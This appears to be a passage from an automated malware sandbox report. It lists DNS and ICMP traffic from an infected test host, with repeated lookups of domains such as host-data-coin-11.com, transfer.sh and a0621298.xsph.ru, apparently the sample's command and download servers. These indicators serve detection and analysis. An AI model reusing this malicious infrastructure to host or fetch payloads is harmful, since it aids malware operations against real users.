Jan 14, 2022 01:51:42.424601078 CET	53	50281	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:42.605801105 CET	56328	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:42.624855995 CET	53	56328	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:42.769612074 CET	56921	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:42.789338112 CET	53	56921	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:43.951955080 CET	59529	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:43.973978996 CET	53	59529	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:44.757822990 CET	56317	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:44.776907921 CET	53	56317	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:45.645724058 CET	51570	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:45.671865940 CET	53	51570	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:46.883466005 CET	53663	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:46.902951956 CET	53	53663	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:47.561134100 CET	60070	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:47.570821047 CET	58750	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:47.582515001 CET	53	60070	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:47.588129997 CET	53	58750	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:47.887029886 CET	60727	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:47.906274080 CET	53	60727	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:48.129488945 CET	63753	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:48.148843050 CET	53	63753	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:50.486324072 CET	54609	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:50.505548000 CET	53	54609	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:50.885694027 CET	52405	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:50.905011892 CET	53	52405	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:51.204551935 CET	56219	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:51.492192984 CET	53	56219	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:56.002254009 CET	52312	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:56.021934986 CET	53	52312	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:56.648571014 CET	64731	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:56.667923927 CET	53	64731	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:56.926289082 CET	59130	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:56.943756104 CET	53	59130	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:58.923732996 CET	51636	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:58.942805052 CET	53	51636	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:59.095109940 CET	60432	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:59.112200975 CET	53	60432	8.8.8.8	192.168.2.3
Jan 14, 2022 01:52:05.040705919 CET	55857	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:52:05.095175028 CET	53	55857	8.8.8.8	192.168.2.3
Jan 14, 2022 01:52:06.253849983 CET	56679	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:52:06.326214075 CET	53	56679	8.8.8.8	192.168.2.3
Jan 14, 2022 01:52:07.452256918 CET	50725	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:52:07.474519968 CET	53	50725	8.8.8.8	192.168.2.3
Jan 14, 2022 01:52:08.355274916 CET	63569	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:52:08.374344110 CET	53	63569	8.8.8.8	192.168.2.3
Jan 14, 2022 01:52:15.880712032 CET	64437	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:52:15.908246994 CET	53	64437	8.8.8.8	192.168.2.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 14, 2022 01:51:07.745976925 CET	188.166.28.199	192.168.2.3	9935	(Unknown)	Destination Unreachable
Jan 14, 2022 01:51:10.754189014 CET	188.166.28.199	192.168.2.3	9935	(Unknown)	Destination Unreachable
Jan 14, 2022 01:51:16.769704103 CET	188.166.28.199	192.168.2.3	9935	(Unknown)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 14, 2022 01:50:47.640256882 CET	192.168.2.3	8.8.8.8	0xc526	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:48.104114056 CET	192.168.2.3	8.8.8.8	0x4854	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:48.580070972 CET	192.168.2.3	8.8.8.8	0x309f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:49.058157921 CET	192.168.2.3	8.8.8.8	0x2456	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:49.546531916 CET	192.168.2.3	8.8.8.8	0xad1b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:50.011868954 CET	192.168.2.3	8.8.8.8	0x1b47	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:51.665627956 CET	192.168.2.3	8.8.8.8	0x957b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:51.834808111 CET	192.168.2.3	8.8.8.8	0x3df4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:51.993308067 CET	192.168.2.3	8.8.8.8	0x8de1	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:53.851583004 CET	192.168.2.3	8.8.8.8	0xd54d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:54.049606085 CET	192.168.2.3	8.8.8.8	0x84d1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:54.225271940 CET	192.168.2.3	8.8.8.8	0x645a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:54.813759089 CET	192.168.2.3	8.8.8.8	0xfbfe	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:54.982538939 CET	192.168.2.3	8.8.8.8	0xc231	Standard query (0)	privacy-tools-for-you-780.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:57.294143915 CET	192.168.2.3	8.8.8.8	0x1dd8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:57.487633944 CET	192.168.2.3	8.8.8.8	0x7c09	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:57.658384085 CET	192.168.2.3	8.8.8.8	0xc7a2	Standard query (0)	unicupload.top	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:57.738296986 CET	192.168.2.3	8.8.8.8	0xa990	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:58.067694902 CET	192.168.2.3	8.8.8.8	0x2095	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:58.231393099 CET	192.168.2.3	8.8.8.8	0xf21f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:58.426559925 CET	192.168.2.3	8.8.8.8	0xb58c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:58.590630054 CET	192.168.2.3	8.8.8.8	0x2920	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:01.816116095 CET	192.168.2.3	8.8.8.8	0x9002	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:01.980012894 CET	192.168.2.3	8.8.8.8	0xcd89	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:02.460314989 CET	192.168.2.3	8.8.8.8	0xb55f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:02.617872000 CET	192.168.2.3	8.8.8.8	0x932	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:04.905617952 CET	192.168.2.3	8.8.8.8	0xa22a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:05.073463917 CET	192.168.2.3	8.8.8.8	0xd825	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:05.255853891 CET	192.168.2.3	8.8.8.8	0xf7dd	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:05.422151089 CET	192.168.2.3	8.8.8.8	0x60ac	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:07.224637032 CET	192.168.2.3	8.8.8.8	0x8b17	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:07.391165972 CET	192.168.2.3	8.8.8.8	0x7d58	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:07.547972918 CET	192.168.2.3	8.8.8.8	0xfd7a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:28.893117905 CET	192.168.2.3	8.8.8.8	0x2ec7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:29.078313112 CET	192.168.2.3	8.8.8.8	0x6e21	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:29.277400017 CET	192.168.2.3	8.8.8.8	0x2366	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:29.463525057 CET	192.168.2.3	8.8.8.8	0x5dd3	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:29.945916891 CET	192.168.2.3	8.8.8.8	0xcad2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:30.115587950 CET	192.168.2.3	8.8.8.8	0x2cb8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:30.280288935 CET	192.168.2.3	8.8.8.8	0x53da	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:30.443161011 CET	192.168.2.3	8.8.8.8	0x6f84	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:30.630795956 CET	192.168.2.3	8.8.8.8	0x6fd7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:30.831780910 CET	192.168.2.3	8.8.8.8	0xf23e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:31.010147095 CET	192.168.2.3	8.8.8.8	0x91a8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:31.215100050 CET	192.168.2.3	8.8.8.8	0xac9f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:31.375078917 CET	192.168.2.3	8.8.8.8	0x20b5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:31.570491076 CET	192.168.2.3	8.8.8.8	0x7793	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:33.524425030 CET	192.168.2.3	8.8.8.8	0x2745	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:33.686821938 CET	192.168.2.3	8.8.8.8	0xef36	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:33.889261961 CET	192.168.2.3	8.8.8.8	0x416a	Standard query (0)	goo.su	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:34.254285097 CET	192.168.2.3	8.8.8.8	0x4054	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:34.628578901 CET	192.168.2.3	8.8.8.8	0xb526	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:34.902913094 CET	192.168.2.3	8.8.8.8	0x15c9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:35.087841988 CET	192.168.2.3	8.8.8.8	0xba8c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:35.659677982 CET	192.168.2.3	8.8.8.8	0xecef	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:35.890943050 CET	192.168.2.3	8.8.8.8	0x7c64	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:36.961688042 CET	192.168.2.3	8.8.8.8	0x5fc6	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:38.630912066 CET	192.168.2.3	8.8.8.8	0x39a7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:38.806997061 CET	192.168.2.3	8.8.8.8	0xc539	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:38.997129917 CET	192.168.2.3	8.8.8.8	0x3dfa	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:41.099307060 CET	192.168.2.3	8.8.8.8	0x3e73	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:41.495398045 CET	192.168.2.3	8.8.8.8	0x88eb	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:41.660986900 CET	192.168.2.3	8.8.8.8	0xb113	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:41.917931080 CET	192.168.2.3	8.8.8.8	0x24f3	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:42.217092037 CET	192.168.2.3	8.8.8.8	0x4c2f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:42.319753885 CET	192.168.2.3	8.8.8.8	0x6bbf	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:42.405042887 CET	192.168.2.3	8.8.8.8	0xd9ec	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:42.605801105 CET	192.168.2.3	8.8.8.8	0x5550	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:42.769612074 CET	192.168.2.3	8.8.8.8	0x46a	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:43.951955080 CET	192.168.2.3	8.8.8.8	0xac36	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:44.757822990 CET	192.168.2.3	8.8.8.8	0x58d9	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:45.645724058 CET	192.168.2.3	8.8.8.8	0x577c	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:46.883466005 CET	192.168.2.3	8.8.8.8	0x5298	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:47.561134100 CET	192.168.2.3	8.8.8.8	0x58a4	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:47.570821047 CET	192.168.2.3	8.8.8.8	0xd7d8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:47.887029886 CET	192.168.2.3	8.8.8.8	0xc9c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:48.129488945 CET	192.168.2.3	8.8.8.8	0x744c	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:50.486324072 CET	192.168.2.3	8.8.8.8	0xe11c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:50.885694027 CET	192.168.2.3	8.8.8.8	0xe050	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:51.204551935 CET	192.168.2.3	8.8.8.8	0xca00	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:56.002254009 CET	192.168.2.3	8.8.8.8	0xd73b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:56.648571014 CET	192.168.2.3	8.8.8.8	0xaa2d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:56.926289082 CET	192.168.2.3	8.8.8.8	0x9fa8	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:58.923732996 CET	192.168.2.3	8.8.8.8	0xa99b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:59.095109940 CET	192.168.2.3	8.8.8.8	0xff3	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:52:05.040705919 CET	192.168.2.3	8.8.8.8	0xb289	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 01:52:06.253849983 CET	192.168.2.3	8.8.8.8	0xcc10	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 01:52:07.452256918 CET	192.168.2.3	8.8.8.8	0x6b26	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 14, 2022 01:52:08.355274916 CET	192.168.2.3	8.8.8.8	0x286f	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 14, 2022 01:52:15.880712032 CET	192.168.2.3	8.8.8.8	0xc086	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 14, 2022 01:50:47.959630013 CET	8.8.8.8	192.168.2.3	0xc526	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:48.437752008 CET	8.8.8.8	192.168.2.3	0x4854	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:48.913573980 CET	8.8.8.8	192.168.2.3	0x309f	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:49.382827044 CET	8.8.8.8	192.168.2.3	0x2456	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:49.855725050 CET	8.8.8.8	192.168.2.3	0xad1b	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:50.321561098 CET	8.8.8.8	192.168.2.3	0x1b47	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:51.684905052 CET	8.8.8.8	192.168.2.3	0x957b	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:51.853822947 CET	8.8.8.8	192.168.2.3	0x3df4	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:52.012651920 CET	8.8.8.8	192.168.2.3	0x8de1	No error (0)	data-host-coin-8.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:53.871186018 CET	8.8.8.8	192.168.2.3	0xd54d	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:54.068969965 CET	8.8.8.8	192.168.2.3	0x84d1	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:54.513427973 CET	8.8.8.8	192.168.2.3	0x645a	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:54.831275940 CET	8.8.8.8	192.168.2.3	0xfbfe	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:55.272592068 CET	8.8.8.8	192.168.2.3	0xc231	No error (0)	privacy-tools-for-you-780.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:57.313293934 CET	8.8.8.8	192.168.2.3	0x1dd8	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:57.506788969 CET	8.8.8.8	192.168.2.3	0x7c09	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:57.677881956 CET	8.8.8.8	192.168.2.3	0xc7a2	No error (0)	unicupload.top		54.38.220.85	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:57.757555008 CET	8.8.8.8	192.168.2.3	0xa990	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:58.087929010 CET	8.8.8.8	192.168.2.3	0x2095	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:58.251146078 CET	8.8.8.8	192.168.2.3	0xf21f	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:58.445990086 CET	8.8.8.8	192.168.2.3	0xb58c	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:50:58.909804106 CET	8.8.8.8	192.168.2.3	0x2920	No error (0)	data-host-coin-8.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:01.836472034 CET	8.8.8.8	192.168.2.3	0x9002	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:02.268055916 CET	8.8.8.8	192.168.2.3	0xcd89	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:02.478085041 CET	8.8.8.8	192.168.2.3	0xb55f	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:02.905957937 CET	8.8.8.8	192.168.2.3	0x932	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:04.923309088 CET	8.8.8.8	192.168.2.3	0xa22a	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:05.093651056 CET	8.8.8.8	192.168.2.3	0xd825	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:05.274148941 CET	8.8.8.8	192.168.2.3	0xf7dd	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:05.443295956 CET	8.8.8.8	192.168.2.3	0x60ac	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:05.443295956 CET	8.8.8.8	192.168.2.3	0x60ac	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:05.443295956 CET	8.8.8.8	192.168.2.3	0x60ac	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:05.443295956 CET	8.8.8.8	192.168.2.3	0x60ac	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:05.443295956 CET	8.8.8.8	192.168.2.3	0x60ac	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:07.243885994 CET	8.8.8.8	192.168.2.3	0x8b17	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:07.410717964 CET	8.8.8.8	192.168.2.3	0x7d58	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:07.565342903 CET	8.8.8.8	192.168.2.3	0xfd7a	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:28.910213947 CET	8.8.8.8	192.168.2.3	0x2ec7	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:29.097570896 CET	8.8.8.8	192.168.2.3	0x6e21	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:29.296864986 CET	8.8.8.8	192.168.2.3	0x2366	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:29.752197981 CET	8.8.8.8	192.168.2.3	0x5dd3	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:29.964706898 CET	8.8.8.8	192.168.2.3	0xcad2	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:30.133033991 CET	8.8.8.8	192.168.2.3	0x2cb8	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:30.299813032 CET	8.8.8.8	192.168.2.3	0x53da	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:30.462840080 CET	8.8.8.8	192.168.2.3	0x6f84	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:30.650084019 CET	8.8.8.8	192.168.2.3	0x6fd7	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:30.850527048 CET	8.8.8.8	192.168.2.3	0xf23e	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:31.029630899 CET	8.8.8.8	192.168.2.3	0x91a8	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:31.234694004 CET	8.8.8.8	192.168.2.3	0xac9f	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:31.394184113 CET	8.8.8.8	192.168.2.3	0x20b5	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:31.589926004 CET	8.8.8.8	192.168.2.3	0x7793	No error (0)	data-host-coin-8.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:33.544007063 CET	8.8.8.8	192.168.2.3	0x2745	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:33.706794977 CET	8.8.8.8	192.168.2.3	0xef36	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:33.911286116 CET	8.8.8.8	192.168.2.3	0x416a	No error (0)	goo.su		172.67.139.105	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:33.911286116 CET	8.8.8.8	192.168.2.3	0x416a	No error (0)	goo.su		104.21.38.221	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:34.271531105 CET	8.8.8.8	192.168.2.3	0x4054	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:34.648617983 CET	8.8.8.8	192.168.2.3	0xb526	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:34.921725988 CET	8.8.8.8	192.168.2.3	0x15c9	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:35.107302904 CET	8.8.8.8	192.168.2.3	0xba8c	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:35.680356026 CET	8.8.8.8	192.168.2.3	0xecef	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:35.910305977 CET	8.8.8.8	192.168.2.3	0x7c64	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:36.979479074 CET	8.8.8.8	192.168.2.3	0x5fc6	No error (0)	data-host-coin-8.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:38.650409937 CET	8.8.8.8	192.168.2.3	0x39a7	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
